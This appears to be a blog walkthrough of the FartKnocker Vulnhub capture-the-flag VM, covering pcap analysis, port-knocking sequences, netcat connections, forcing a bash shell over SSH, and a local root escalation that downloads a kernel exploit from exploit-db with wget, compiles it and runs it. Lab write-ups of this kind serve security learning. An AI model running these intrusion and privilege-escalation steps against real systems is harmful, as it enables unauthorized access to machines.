Skip to main content

FartKnocker – Vulnhub CTF Challenge Walkthrough


Fart Knocker is a Boot2Root Challenge from TopHatSec Series and is available at Vulnhub. This is a unique and interesting challenge that includes Packet Analysis and Port Knocking.
In this walkthrough, I’ll be using Parrot Security OS but you can use any Linux distro you want.
Start the Virtual machine and use Netdiscover to find its IP Address. Register this IP to your local DNS file “/etc/hosts”.
sudo netdiscover -r [IP/subnet]
sudo nano /etc/hosts



This is a “pcap” file. when you open this file in Wireshark, you’ll see a knocking pattern on port no 7000, 8000, 9000, 7000, 8000. Apply TCP filter to see the pattern.

sudo apt install knockd
knock knock.local 7000 8000 9000 7000 8000
nmap -p- knock.local

By running Nmap scan, you can see a new port is open. By running Nmap, this port might become closed, knock again and use Netcat to connect to this port.
knock knock.local 7000 8000 9000 7000 8000
nc -v knock.local 8888




So the next knocking sequence is 1, 3, 3, 7. Knock and run Nmap.
knock knock.local 1 3 3 7
nmap -p- knock.local

A new port opened, use Netcat to connect to it.

Open the new directory revealed by this port.

There is a base64 encoded message. Decode it by
echo T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK | base64 -d

Knock again and then run Nmap.

An SSH port is open, try to connect to it.

Connect to the SSH again using given credentials.

The shell opened for a few seconds and then closed. Try including the shell manually
ssh butthead@knock.local '/bin/bash'

We got a lower shell, now we need to get root. Run “uname -a” to check Kernel’s version.

Check exploit DB for any related exploits.

We found an exploit. Now, download this exploit using “wget”.
wget https://www.exploit-db.com/download/37292

Now compile this exploit using “gcc” and run it.
mv 37292 priv.c
gcc priv.c -o priv -pthread
./priv
And here’s the ROOT Flag!!

Comments

Popular posts from this blog

Phishing Campaigns Targeting Google and Yahoo Accounts To Bypassing Two-Factor Authentication Several phishing campaigns targeting hundreds of individuals across the Middle East and North Africa. The attacker targers HRDs, journalists, political actors. Amnesty International published a report on multiple campaigns that traget self-described “secure email” services, such as Tutanota and ProtonMail and another campaign that aimed in bypassing two-factor authentication. Crafted Phishing Sites – Secure Email Providers The phishing campaign primarily targeted popular secure email service providers such as Tutanota and ProtonMail. Threat actors used a well-crafted phishing page – by obtaining the domain tutanota[.]org, whereas the original domain of the service provider is tutanota[.]com. A phishing attack is one of the dangerous social engineering attacks that leads to capture a victim’s username and password that will get store it to an attacker machine and reuse it l...

software development services in noida

Red Securium Company Provide Software Development  Service In Noida Combining technological competency with domain expertise, Red Securium offers full spectrum of custom software design, development and deployment services for enterprises and SMEs to achieve exceptional business results.            Leveraging on its cross-functional width of expertise in application software development , Red Securium has developed the capabilities to build and run resilient applications at scale that seamlessly infuse your innovative ideas. Whether you are in need of the rapid development of a crucial business application or require the deployment and support for an entire suite of applications, we offer full software lifecycle coverage services. We adopt best practices and put highest levels of expertise to drive your technological assets deliver you business excellence and improved ROI. Custom Software Development Services in Noida Enterpri...

Information Security Analyst Interview Questions

Top 12 Information Security Analyst Interview Questions & Answers 1) Explain what is the role of information security analyst? From small to large companies role of information security analyst includes Implementing security measures to protect computer systems, data and networks Keep himself up-to-date with on the latest intelligence which includes hackers techniques as well Preventing data loss and service interruptions Testing of data processing system and performing risk assessments Installing various security software like firewalls, data encryption and other security measures Recommending security enhancements and purchases Planning, testing and implementing network disaster plans Staff training on information and network security procedures 2) Mention what is data leakage? What are the factors that can cause data leakage? The separation or departing of IP from its intended place of storage is known as data leakage.  The factors that are respons...